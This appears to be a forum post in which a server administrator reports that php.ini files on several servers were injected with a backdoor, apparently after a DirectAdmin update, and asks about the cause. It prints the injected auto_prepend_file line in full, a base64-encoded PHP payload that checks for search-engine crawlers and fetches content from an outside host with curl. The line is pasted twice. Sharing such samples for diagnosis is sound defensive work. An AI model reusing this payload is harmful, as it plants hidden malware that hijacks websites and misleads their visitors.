Recently, we discovered that the php.ini files of multiple PHP versions on several servers have been injected with backdoor code, causing PHP websites to fail to operate. The code injection in some servers occurred after a DirectAdmin update. We are unsure whether this is an issue with the server's security configuration or a problem related to the DirectAdmin update.
The injected code in the php.ini files is as follows:
auto_prepend_file = "data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7ZXJyb3JfcmVwb3J0aW5nKDApOwpjbGFzcyBJbmNQaHAgewogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW4oKSB7CiAgICAgICAgJHVybCA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgICAgICRyZWYgPSAhaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICcnIDogJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwogICAgICAgICRlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiAgICAgICAgJHNpdGUgPSBiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwzaHRiQzVoYzJSbmIyUXVZMjl0Iik7CiAgICAgICAgJG1lbWVzID0gIi8/cmVmZXJlcj0iIC4gdXJsZW5jb2RlKCRyZWYpOwogICAgICAgICRyZWdzID0gJy9CYWlkdXNwaWRlcnwzNjBzcGlkZXJ8U29zb3NwaWRlcnxTb2dvdXNwaWRlcnxZaXNvdVNwaWRlcnxTb2dvdSB3ZWIgc3BpZGVyfEJ5dGVzcGlkZXIvaSc7CiAgICAgICAgJG1vYmlsZSA9ICcvcGhvbmV8cGFkfHBvZHxpUGhvbmV8aVBvZHxpb3N8aVBhZHxBbmRyb2lkfE1vYmlsZXxCbGFja0JlcnJ5fElFTW9iaWxlfE1RUUJyb3dzZXJ8SlVDfEZlbm5lY3x3T1NCcm93c2VyfEJyb3dzZXJOR3xXZWJPU3xTeW1iaWFufFdpbmRvd3MgUGhvbmUvJzsKICAgICAgICAkYXJlYSA9IHByZWdfbWF0Y2goJy8uZG9jfC5kb2N4fC54bHN4fC5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ICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAkb3V0cHV0ID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIHJldHVybiAkb3V0cHV0OwogICAgfQogICBzdGF0aWMgZnVuY3Rpb24gR2V0Q2xpZW50SXAoKQogICB7CiAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7CiAgICAgICAgICRpcEFkZHJlc3NlcyA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSk7CiAgICAgICAgICRjbGllbnRJUCA9IHRyaW0oZW5kKCRpcEFkZHJlc3NlcykpOwogICAgICB9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1hfUkVBTF9JUCddKSkgewogICAgICAgICAkY2xpZW50SVAgPSAkX1NFUlZFUlsnSFRUUF9YX1JFQUxfSVAnXTsKICAgICAgfSBlbHNlIHsKICAgICAgICAgJGNsaWVudElQID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiAgICAgIH0KICAgICAgcmV0dXJuICRjbGllbnRJUDsKICAgfQp9CkluY1BocDo6cnVuKCk7"
The injected code in the php.ini files is as follows:
auto_prepend_file = "data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7ZXJyb3JfcmVwb3J0aW5nKDApOwpjbGFzcyBJbmNQaHAgewogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW4oKSB7CiAgICAgICAgJHVybCA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgICAgICRyZWYgPSAhaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICcnIDogJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwogICAgICAgICRlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHR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